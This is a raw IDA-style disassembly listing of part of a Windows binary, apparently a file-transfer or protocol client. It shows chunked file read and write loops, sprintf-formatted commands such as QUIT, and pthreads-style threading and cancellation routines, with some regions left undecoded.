		push	edx
		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
		push	2000h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		call	near ptr 77C2C21Bh
		nop
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474C0
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476C4
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476BC
		push	esi
		call	near ptr 77C41B72h
		nop
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476D0
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476E8
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476DC
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4476F4
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444E90o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 2770668h
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103C8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 33FFFEE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3400EBE8h, 0B4E85302h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 33FF3EE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 34002BE8h, 0F4E85702h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 0A0E89050h, 850233FEh, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		call	near ptr 2760880h
		nop
		push	0
		push	edi
		nop
		call	near ptr 27703EBh
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 2760A84h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		call	near ptr 2760CD3h
		nop
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		nop
		call	near ptr 2770000h
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27701C0h
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


